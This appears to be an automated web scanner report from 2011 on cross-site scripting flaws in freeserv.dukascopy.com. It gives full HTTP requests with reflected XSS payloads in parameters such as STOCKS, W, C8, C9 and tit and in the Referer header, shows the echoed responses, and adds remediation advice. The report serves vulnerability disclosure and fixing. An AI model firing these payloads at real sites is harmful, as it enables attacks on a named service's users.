HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:23 GMT Server: lighttpd/1.4.26 Content-Length: 15591
<head> <title>Dukascopy Running Bo ...[SNIP]... <script> var oPopup = window.createPopup(); var TM_OUT = null; var link_terget = '_self'; var Q_num = false; var multi_url1 = 'e209f';alert(1)//ecf7a0f343'; var multi_url2 = '';
function richToolTip(T,oB) { if(TM_OUT != null) window.clearTimeout(TM_OUT);
var lefter = event.offsetY + 0; var topper = event.offsetX + 15; //alert(lefter)
The value of the STOCKS request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4adb5"%3balert(1)//1a4ca4f9b4f was submitted in the STOCKS parameter. This input was echoed as 4adb5";alert(1)//1a4ca4f9b4f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,34adb5"%3balert(1)//1a4ca4f9b4f&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/index.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:13 GMT Server: lighttpd/1.4.26 Content-Length: 15592
<head> <title>Dukascopy Running Bo ...[SNIP]... ); //, ttip }
function load_tic() { setTimeout("document.all.PRC_ID.src='prc.php?STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,34adb5";alert(1)//1a4ca4f9b4f'",10000);
}
function sr(id,price) {
oB = document.getElementById("ID"+id); if(!oB) return; oA = document.getElementById("AR"+id); if(!oA) return;
The value of the W request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ed3ed'style%3d'x%3aexpression(alert(1))'f9b57f2e13e was submitted in the W parameter. This input was echoed as ed3ed'style='x:expression(alert(1))'f9b57f2e13e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /dhtml_rb/?W=990ed3ed'style%3d'x%3aexpression(alert(1))'f9b57f2e13e&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/index.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:12 GMT Server: lighttpd/1.4.26 Content-Length: 15612
The value of the C8 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 946a6"style%3d"x%3aexpression(alert(1))"829172158cb was submitted in the C8 parameter. This input was echoed as 946a6"style="x:expression(alert(1))"829172158cb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0946a6"style%3d"x%3aexpression(alert(1))"829172158cb&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:24:55 GMT Server: lighttpd/1.4.26 Content-Length: 34317
The value of the C9 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d5af5'%3balert(1)//8d65f695a57 was submitted in the C9 parameter. This input was echoed as d5af5';alert(1)//8d65f695a57 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=d5af5'%3balert(1)//8d65f695a57&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:24:56 GMT Server: lighttpd/1.4.26 Content-Length: 34033
The value of the H request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 62e75'style%3d'x%3aexpression(alert(1))'7757c735bc8 was submitted in the H parameter. This input was echoed as 62e75'style='x:expression(alert(1))'7757c735bc8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /qt/?W=269&H=36062e75'style%3d'x%3aexpression(alert(1))'7757c735bc8&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:24:42 GMT Server: lighttpd/1.4.26 Content-Length: 34266
The value of the W request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 781b4'style%3d'x%3aexpression(alert(1))'bc6cafee2a5 was submitted in the W parameter. This input was echoed as 781b4'style='x:expression(alert(1))'bc6cafee2a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /qt/?W=269781b4'style%3d'x%3aexpression(alert(1))'bc6cafee2a5&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:24:39 GMT Server: lighttpd/1.4.26 Content-Length: 34269
The value of the tit request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7ee4'%3balert(1)//1d43df579f4 was submitted in the tit parameter. This input was echoed as e7ee4';alert(1)//1d43df579f4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=e7ee4'%3balert(1)//1d43df579f4&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.horizonbroker.co.uk/contact.html User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:24:43 GMT Server: lighttpd/1.4.26 Content-Length: 34539
function init() { setTimeout('timer_main()',1000); // if (document.createElement) tooltip.d(); }
var orig_tit=' e7ee4';alert(1)//1d43df579f4'; var Q_num = true; var def_popup = true; var multi_url1 = '/chart/?stock_id='; var multi_url2 = '&interval=60&points_number=100&view_type=candle&width=500&height=250&osc_type=-1&osc_height=100&p1 ...[SNIP]...
The value of the Referer HTTP header is copied into an HTML comment. The payload e9d67--><script>alert(1)</script>bcb9c5a6294 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=e9d67--><script>alert(1)</script>bcb9c5a6294 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:43 GMT Server: lighttpd/1.4.26 Content-Length: 24851
<!-- Check IB [http://www.google.com/search?hl=en&q=e9d67--><script>alert(1)</script>bcb9c5a6294] --> <!-- Read file --><!-- from file: 0 1 1--> <!-- mb=0 cpy=1 pop=1 --><!DOCTYPE HTML PUBLIC "-//W3C ...[SNIP]...
The value of the Referer HTTP header is copied into an HTML comment. The payload 9be3e--><script>alert(1)</script>dddda846d74 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=9be3e--><script>alert(1)</script>dddda846d74 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:41 GMT Server: lighttpd/1.4.26 Content-Length: 15606
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c08e"><script>alert(1)</script>7602cc51cbb was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=1c08e"><script>alert(1)</script>7602cc51cbb User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:24:59 GMT Server: lighttpd/1.4.26 Content-Length: 34272
The value of the Referer HTTP header is copied into an HTML comment. The payload 38662--><script>alert(1)</script>4d82fe9e37f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1 Host: freeserv.dukascopy.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=38662--><script>alert(1)</script>4d82fe9e37f User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-type: text/html Date: Thu, 17 Mar 2011 18:25:04 GMT Server: lighttpd/1.4.26 Content-Length: 34283
The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.
Common explanations for Referer-dependent responses include:
Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.
Issue remediation
The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.
If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.